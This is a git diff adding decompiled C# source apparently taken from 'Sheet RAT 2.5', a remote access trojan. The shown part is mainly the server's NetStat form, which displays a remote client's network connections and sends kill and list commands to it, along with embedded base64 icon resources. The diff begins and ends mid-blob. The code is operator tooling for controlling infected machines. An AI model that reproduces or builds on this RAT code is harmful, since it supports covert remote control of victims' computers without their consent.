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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormNetStat.cs b/Server/Server/Forms/FormNetStat.cs new file mode 100644 index 0000000..623d088 --- /dev/null +++ b/Server/Server/Forms/FormNetStat.cs @@ -0,0 +1,222 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormNetStat +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormNetStat : MetroForm +{ + public Clients client; + public Clients Plugin; + private IContainer components; + public MetroGrid metroGrid1; + private MetroContextMenu metroContextMenu1; + private ToolStripMenuItem killToolStripMenuItem; + public Timer timer1; + private ToolStripMenuItem resfreshToolStripMenuItem; + + public FormNetStat() => this.InitializeComponent(); + + private void FormTaskMgr_Load(object sender, EventArgs e) + { + DataGridViewColumnCollection columns1 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn1 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn1.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn1.HeaderText = "ID"; + viewTextBoxColumn1.MinimumWidth = 150; + columns1.Add((DataGridViewColumn) viewTextBoxColumn1); + DataGridViewColumnCollection columns2 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn2 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn2.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn2.HeaderText = "Local address"; + viewTextBoxColumn2.MinimumWidth = 300; + columns2.Add((DataGridViewColumn) viewTextBoxColumn2); + DataGridViewColumnCollection columns3 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn3 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn3.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn3.HeaderText = "Remote address"; + viewTextBoxColumn3.MinimumWidth = 300; + columns3.Add((DataGridViewColumn) viewTextBoxColumn3); + DataGridViewColumnCollection columns4 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn4 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn4.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill; + viewTextBoxColumn4.HeaderText = "State"; + viewTextBoxColumn4.MinimumWidth = 100; + columns4.Add((DataGridViewColumn) viewTextBoxColumn4); + this.FormClosing += (FormClosingEventHandler) ((t, p) => + { + if (this.Plugin == null) + return; + this.Plugin.Disconnected(); + }); + this.metroGrid1.DefaultCellStyle = new DataGridViewCellStyle() + { + Alignment = DataGridViewContentAlignment.MiddleLeft, + ForeColor = Customs.customs.StyleToColor(), + Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel), + BackColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White, + SelectionForeColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White, + SelectionBackColor = Customs.customs.StyleToColor(), + WrapMode = DataGridViewTriState.False + }; + this.metroGrid1.RowTemplate.Resizable = DataGridViewTriState.True; + this.metroGrid1.RowTemplate.MinimumHeight = 30; + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.metroGrid1.Style = Customs.customs.Style; + } + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.metroGrid1.Theme = Customs.customs.Theme; + Program.form.SetThemeContextMenu(Customs.customs.Theme, (ContextMenuStrip) this.metroContextMenu1); + } + this.Refresh(); + } + + private void killToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.Plugin == null) + return; + foreach (DataGridViewBand selectedRow in (BaseCollection) this.metroGrid1.SelectedRows) + this.Plugin.Send((object) ("NetstatKill<@>" + selectedRow.Tag?.ToString())); + } + + private void resfreshToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.Plugin == null) + return; + this.Plugin.Send((object) "NetstatList"); + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.client.Connect && this.Plugin.Connect) + return; + this.Close(); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + DataGridViewCellStyle gridViewCellStyle1 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle2 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle3 = new DataGridViewCellStyle(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormNetStat)); + this.metroGrid1 = new MetroGrid(); + this.metroContextMenu1 = new MetroContextMenu(this.components); + this.killToolStripMenuItem = new ToolStripMenuItem(); + this.timer1 = new Timer(this.components); + this.resfreshToolStripMenuItem = new ToolStripMenuItem(); + ((ISupportInitialize) this.metroGrid1).BeginInit(); + this.metroContextMenu1.SuspendLayout(); + this.SuspendLayout(); + this.metroGrid1.AllowUserToAddRows = false; + this.metroGrid1.AllowUserToDeleteRows = false; + this.metroGrid1.AllowUserToResizeRows = false; + this.metroGrid1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.metroGrid1.BackgroundColor = Color.FromArgb(17, 17, 17); + this.metroGrid1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.metroGrid1.CellBorderStyle = DataGridViewCellBorderStyle.None; + this.metroGrid1.ClipboardCopyMode = DataGridViewClipboardCopyMode.Disable; + this.metroGrid1.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle1.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle1.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle1.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle1.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.SelectionBackColor = Color.FromArgb(165, 219, 0); + gridViewCellStyle1.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.WrapMode = DataGridViewTriState.True; + this.metroGrid1.ColumnHeadersDefaultCellStyle = gridViewCellStyle1; + this.metroGrid1.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.metroGrid1.ContextMenuStrip = (ContextMenuStrip) this.metroContextMenu1; + gridViewCellStyle2.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle2.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle2.ForeColor = Color.FromArgb(109, 109, 109); + gridViewCellStyle2.SelectionBackColor = Color.FromArgb(165, 219, 0); + gridViewCellStyle2.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.WrapMode = DataGridViewTriState.False; + this.metroGrid1.DefaultCellStyle = gridViewCellStyle2; + this.metroGrid1.EnableHeadersVisualStyles = false; + this.metroGrid1.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + this.metroGrid1.GridColor = Color.FromArgb(17, 17, 17); + this.metroGrid1.Location = new Point(23, 63 /*0x3F*/); + this.metroGrid1.Name = "metroGrid1"; + this.metroGrid1.ReadOnly = true; + this.metroGrid1.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle3.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle3.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle3.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle3.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.SelectionBackColor = Color.FromArgb(165, 219, 0); + gridViewCellStyle3.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.WrapMode = DataGridViewTriState.True; + this.metroGrid1.RowHeadersDefaultCellStyle = gridViewCellStyle3; + this.metroGrid1.RowHeadersVisible = false; + this.metroGrid1.RowHeadersWidthSizeMode = DataGridViewRowHeadersWidthSizeMode.DisableResizing; + this.metroGrid1.SelectionMode = DataGridViewSelectionMode.FullRowSelect; + this.metroGrid1.Size = new Size(838, 484); + this.metroGrid1.Style = MetroColorStyle.Lime; + this.metroGrid1.TabIndex = 13; + this.metroGrid1.Theme = MetroThemeStyle.Dark; + this.metroContextMenu1.Items.AddRange(new ToolStripItem[2] + { + (ToolStripItem) this.killToolStripMenuItem, + (ToolStripItem) this.resfreshToolStripMenuItem + }); + this.metroContextMenu1.Name = "metroContextMenu1"; + this.metroContextMenu1.Size = new Size(119, 48 /*0x30*/); + this.killToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.killToolStripMenuItem.ForeColor = Color.FromArgb(192 /*0xC0*/, 0, 0); + this.killToolStripMenuItem.Name = "killToolStripMenuItem"; + this.killToolStripMenuItem.Size = new Size(118, 22); + this.killToolStripMenuItem.Text = "Kill"; + this.killToolStripMenuItem.Click += new EventHandler(this.killToolStripMenuItem_Click); + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.resfreshToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.resfreshToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.resfreshToolStripMenuItem.Name = "resfreshToolStripMenuItem"; + this.resfreshToolStripMenuItem.Size = new Size(118, 22); + this.resfreshToolStripMenuItem.Text = "Resfresh"; + this.resfreshToolStripMenuItem.Click += new EventHandler(this.resfreshToolStripMenuItem_Click); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(884, 570); + this.Controls.Add((Control) this.metroGrid1); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormNetStat); + this.Style = MetroColorStyle.Lime; + this.Text = "NetStat"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormTaskMgr_Load); + ((ISupportInitialize) this.metroGrid1).EndInit(); + this.metroContextMenu1.ResumeLayout(false); + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Forms/FormNetStat.resx b/Server/Server/Forms/FormNetStat.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/FormNetStat.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAFYhAAACAAABAAEAAAAAAAEAIABAIQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAFvck5UAc+id5oAACD6SURBVHja7Z0JmFTVmYaLfd9EkIgLQUmMZkw0JkadEMwYY8aYxNEkxsQxiVFnNIsrm4osIqCAEGhomqXphgYEZZNN7bB1I8gwoxhRIzNg4koQBKHZmu4z7zn31u0Cge6qLuDequ97nvc5VQ3io9T7/+ece++pWExRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRlBOSHBOLGZgAExOw7xVFybAUIPZUyIdJCfR34reEztDCFQFFUSKeKYhcBJN94uJPNvUZT4WLkf1WGArFdP7V0FkzAEWJqvCWggQ84RvB6RSA78C9MIGfr4V/IP5+MEhvWQ6tVQAUJSpT+gJTJX5hIH5TOBuuhh7IPw1eR/wdYBDfY6LPhICRsTxTJzZeBUBRwhc7nZ/mT+unJlBoGlMAOjJeBb2QfjZshJ2Ibxz5PkeTf7wph9uc/D1VABTl5Oc5RByQIH1c/Gms4YtMB15/B/G7wwzEfwN2Ir0JqLn8lo/hG64AjFEBUJSTk7js033s62eZlheZNnAR0t8BefAK4u8Ag/geqctvmPq/wthe039FOZGx6/Zhvuwz/PFp97opr7tQEH4Ow5F/JWxB/HIwTvz0yW+ZEhtnGoH+ThTluMYKPjMQ3aPI1GVsj/TdoCfMQfzNsI9fM46pPumX39Lddf9cFQBFSW9mms/idfrm8EXE/yXkwDp+/gkYxPc4MfJ/Sue/2nV/FQBFSUNm+JflZiUwg7X8LNOWAvDPiN8TFvKzd2EfGCf+iZffIP7biH+Wpv+KUpvERX/G51nX7Rvys7PgR7weCqsRfzsYJ32ckye/ZQ4FoKkKgKIkm2cTZLfMdu9bwIVIfydMgb8ifhkYJ3645DfI/6gu/ylKTWLvp1/qix5nnpO/DdJfBr1gCXyA+OVgnPjhlX83/Mit/ceqACjKkTfx7N1xcxKw1+Znm/bwXV4PgOXwMeIbxyyfcMtveYfX52jzT1ESY+/C+w7MTWCOqQcd4QeIPwzWwk7EN47oyW/o+guhubq/oixBgrP8Kf28BOnnmrPhJl6PgdeQfjcYR7TltwyIjeC/M08FQMnG2On8KpjvM8+N9RjPgOsRfyy8ye/bCyYQPzPkL4Mfu82/oSoASrbESm67/XOHUA86Iv/1/Ppo+Avil4Fx4mee/AbxN8M5rgAYFQAlG9b1CxKkn2/q8t6Tfj7Sz0f6eUg/Dxvm+mSu/JYFsRzW/zmSX8nULOTDvch4o5V/sZO/Pa9/wPgneA3xy8A48bNHfks/1/1VAJSMygL/Ul2i+ItMa8auMADp18AuME78bJQ/x+yG65z8ugFIyQjpV/rSL/I7/SLThALwNegJf+b3bAfjxM9u+S0boZO6vxLt2M28533hPeohfmeE/zXMhA/AOPElf1x+ExttZsVGUSBHqwAoUYsV/kV/J3+xf+lusWkHP0T+MfAW0h9w4kv+I8lv6U4B0PRfiUiW+bI/74vv0ZifXQy9YTXi7wYTiC/5jyb/DrjSdX/NAJTQd/v4NN/r/HV5fxbcAjMQ/wOodOJL/prIb/kLfE7yK+FMXz6YJfBCAs+b5nA50j8Br8N+xDcOyZ+M/Iap/+TYSNMw9icVACVs3X6xL7xd4xebOrw+E27l1+bDVsQ3DsmfqvwVcLdb/w9XAVDCkGI+iH/2pX/RFYAmcBkMgvWIvx+M5K+1/JZ/0Pkvcd1/pAqAcrJS6u/eF/vSL3JjO7gB6WfAFjBOfMmfLvkN4pfAKZr+KycnS/0bdoqDaX59xi/Bg7Aaypz4kv94yG8ZGhvG0krdXznh0/wX/eO0ih1NoSvk8PPNUAFG8h9X+fcg/o1OfhUA5YR1/GX+Gn+ZKwBteX0D4s+ErU76OJL/eMpvkH4TnOPk1xJAOW6xl/Fe8qVf6h+0sdSczfu7YTnil4GR/CdUfsuz0FTdXzk+sR1+ud/pl7nd/DqI/wXojfjr4aATX/KfDPlNbIR/++8wFQAl3ev7VxLEX24aIP1FMBjeRvxKMJL/pMq/Hbq68/+eUgFQ0tXx5/hd3+v8DRmvYByH+O+BceJL/pMtv2Ud4rd3BUBRai3+8wnirzCNGb/NzyfCFie+5A+T/JZRFIC66v5K6lnln66zwme5aQLfQfoC2ApG8odQ/qfMXrjJyX+XCoCSbEr93fwVfscvMY0Yr4RpsM2JL/nDKr9lE5zrCoDu/1dqnA3+gzkrAhrAFTAR8beCkfyhl98g/SxoIvmVmqfEfyTXE78+fAPGwEdOfMkfFfkr4V73xR+jVACU6rLSF9+O77rX5yP9U/A+GMkfKfktW+FS1/11A5ByzHX+Swldf6U5A3rC2058yR9F+S0roY2m/8qRYy/nvZzQ9UvMKYy/hbVQIfkjLP8wx2D3tV8qAMoR1/lW+lInfkP4Pu9fgH1gJH/k5d8N17lbf3X+nxJkNR+G//bFn+nkvxDGIP02J77kzwT5LW/EhpozXQHoqwKgrEvo+MvdeBriPwAbA/Elf6bIb5B/ImMDffW34kkfl7+UD0WpuRbxl0O55M9I+ffDvzv5H1cByN6s9c/Vj+/yrzLn8PopxN8GRvJnpPyWzfAFVwCeUAHIzth791f7O/ylpincDOuc+JI/k+U3sSfNTMYmjPIg67LMF3+VL/8qcz7i58NuyZ8V8h+Eu13n19N/WbjWX+FP918yjZD/Jn62Hozkzwr5LR8i/1ddAdAGYJZN+VcF3b8TjET8nZI/q+Q3iL84NsS00No/m8Qv9Vll6sG1sNqJL/mzTX5LLwpATOv/bIid6q8J1vstGLvDPyR/1sq/Da5w3V8FIEum/F7nPxcKYJ/kz1r5DZ2/JDbYnOJmAEqGd/5VbsOvDuPVsAaM5M9q+S0DY9117T+zxY+z2jRE+tvhfckv+WEH3f8q1/21+5+hU/4SE1/3t2Lsz88+lfyS3zHYrIZTQQ//ZOx63+v+Z8Ak3h+Q/JLfl98yKBbj8zFI8mdW1vg7/Z78FyD9Eie+5Jf8VfLvdNN/2/0HqwBkVudfHdzd93XevyT5Jf9h8hu6/hpo57q/pv8ZttP/spP/W7Be8kv+I8hvGcR/j7p/Rk77V5tujK9Lfsl/FPl3wnfdc/+PqABkRudf4x/g8ZLpChskv+Q/ivyHTv9nqgBk0nX+yzXtl/zVyG/o/IP5/6npf4Zd6vs6/Lfkl/zVyL8TNP2PfEoTju16yXwF1kp+yV+N/JaXoZ0rAJr+R7jzLw3k7wLLJL/kr4H8JjbQDHKdf6Dkj2Y2HNL5OyL9PMkv+Wso/ydwZewxPju9VQCimZLgFJ+2jIWSX/LXUH7LCjjFdX9N/yM69fd2+5syjuD9Qckv+Wsov6HzPxwboOl/NLPal7/U1Ef6HrBX8kv+JOTfCt90038VgIh2/gfd9P8W2C75JX8S8luWQEtXAJSIXuv3TvL5u+SX/EnKX8HU/95Yfz5DKgARiv3CjjdMvAjYx3r/R/JL/iTlN8j/LvyTW/+rAEQoVbf5tkf8uZJf8qcgv2UGNHYFQIlISoPO3wSGQ4Xkl/wpyL8f/j3Wj8/ScBWA6HR+WwDmuALwn1Am+SV/CvIb1v1vQie3/tfXfkdk3V91dn83t+kn+SV/avJbcuj+9VwBUCKQNcGO/9mwUvJL/lrIvwuudfLriz8iMvX31v3NIFfyS/5ayG/o/KsYT3Xrf537F4FNP1sAnnYF4C7e75H8kr8W8lsecjv/kj8CWRl0/28i/ibJL/lrKf+H8DXX/fupAIQ7VZt+7RgXSn7JX0v5LbOgieQPe0qC5/vrMfaBg5Jf8tdK/r5mP+OtsT669h+Nqb93vNd3YYvkl/y1lN+ygddnu+6vJ/9CvvFX6r7AswPjUskv+dMgv2Vo7CFTN/ao5A//1H8Nf1F26l/iT/0lv+Svnfzb4Ntu5/8JFYDwd/9ScyXifyD5JX8a5Dd0/UXQwnX/O1QAwtv9S9w3+ZzCuEjyS/40yV8Od7ru30fyhzPr/M6/zBWB38N+yS/50yC/5S3E7+zkVwEIaZb63+FXYs6HNyW/5E+T/AbpR8YeNvX0jT9hzQoTn/43gjGSX/KnUf5t0M11/odUAMKZZX73X2m+D9slv+RPk/yW5+j8zV33173/Ib3hx7LCtGZcIPklfxrl34/4v3I7/z0kf3h3/le4IvBr2Cv5JX+a5DfI/ypr/zMg5lBCuPb3ZgBnwlrJL/nTKL9lQOxmrf3Dm+X8xbzqCkB3qJD8kj+N8n8Al7jNP933H+rufy5skPySP43yWwp538i79KcCEM7uv8Ct//tApeSX/GmT/2HzKVzrpv567Dek3d/jS/BXyS/50yi/5UXkb+02/nTpL6SX/l4ydRB/gOSvsfyVkr9G8h+A293Uv7fkD3P37wJvSf4ayb8dtkn+auU3dP5X4Uw3/dfuf0i7v/1mn+WmN1RK/mrl3wQvIP4eyV+t/JZH+f8o+UO78edxNrwm+auVfz0MQfx3JX+N5N8MX1b3D3MBWOYKwO/goOQ/pvyr4VeIv1by10h+w5p/ZKyHqRfrJfnDufb3un9bpF8p+Y8pfzHSXwlPS/4ay78FLnMbf9r5D2Hih30sMzdAmeQ/qvxz4QLEfwzKJX+N5LcU8rqRKwD3qgCEdf3fBPGflvxHlL8C8acydkT8W2Cn5K+x/DvgGjf1f0zyhy/LgrX/pYxbJP9n5D+A/GORvg3jFYybJX+N5bfMR/4WrgDoqb+Qdv9+rgj0l/yfkX8f0g9H9hbQCflLJX8S8vcyu2M9zY1u6n+P5A/n5p83A/gc4q+T/IfIvwf5BzA2dQVgIutYyZ+M/JbnKQCtQYd+hDL2q72XOn4KeyR/IP9O5O8BjRG9PvL3Q/wDkj8p+ffCL5z8mvqHeP2/3DRE/gLJH8i/DfHvQvYGSBxD/lt5vUPyJyW/ZRnyt3UFQPf9hzB/Nh5LTRfGTZLf8SHy/5qxHsJb+bsxbpb8Scu/H/F/4+74e0Dyh7f7e0XgNjgg+c3fkP8niFzHl/+LjGskf9LyG+Qvgfau+3dXAQjzDKAxzJD8ZiPyX8ufZcWPIX1bmCX5U5J/H/zayd9T8oczxUH3P4/Xf8ty+d9A/qt478k/nqI4wTwJByV/0vJb7Nr/VBWAMOdF4xWBYvMrOJDF8r+K/F35vZ78M9z0/07YJflTkn9vrIe5xW363Sf5wz39X2oaIP+ELJZ/LfJf6jr/hIBr4D3Jn5L8BvmLGU9x1/wfVAEI9wzgRXMGbMhS+UuQ/yLwOr+37r8QXpX8KctfBj938uuR3xDnBRMvAP8Ku7JQ/mI438k/2a35LR2Qf4HkT1l+y3PQyhUArf1DXgCKXQF4NAvlXwhdIJYw9W8GoxG/UvKnLP8nse40FCv+HyV/FKb/zZB+fpbJb5/l7+Tkj0/9vRt+7kf8vZI/ZfkN8hdCE3fNXzf+RGAG8ILpDJuySP5ZSH+mE7/ALwA5rvvfgPhbJX+t5P8w9qC5wm36qfuHPM+beAH4IezOAvkrYRqc7jp/kS+/t+6/DP4q+Wslv2UkXb++6/564i8yBeChLJC/AgoR/jS33rdfQjkmkL8zrJT8tZZ/I/yTk187/5GZ/jdG/OkZLv9BmATtXOe333Uwzpffnuwz3kyV/LWW/yB0j/3Yv+b/exWAaMwAnjftkX59BstfDrl0/rZO/ikJN/pMNI0QfxCUS/5ayW+QvpTxc05+3fQTkSxxBeCrjFsyVP4DMArauGn/9GDKH+PPqMN4B+yS/LWWfxf8zImvp/0ikkXGKwBLzI2wJ0PlHwmtgt3+PF/+CW6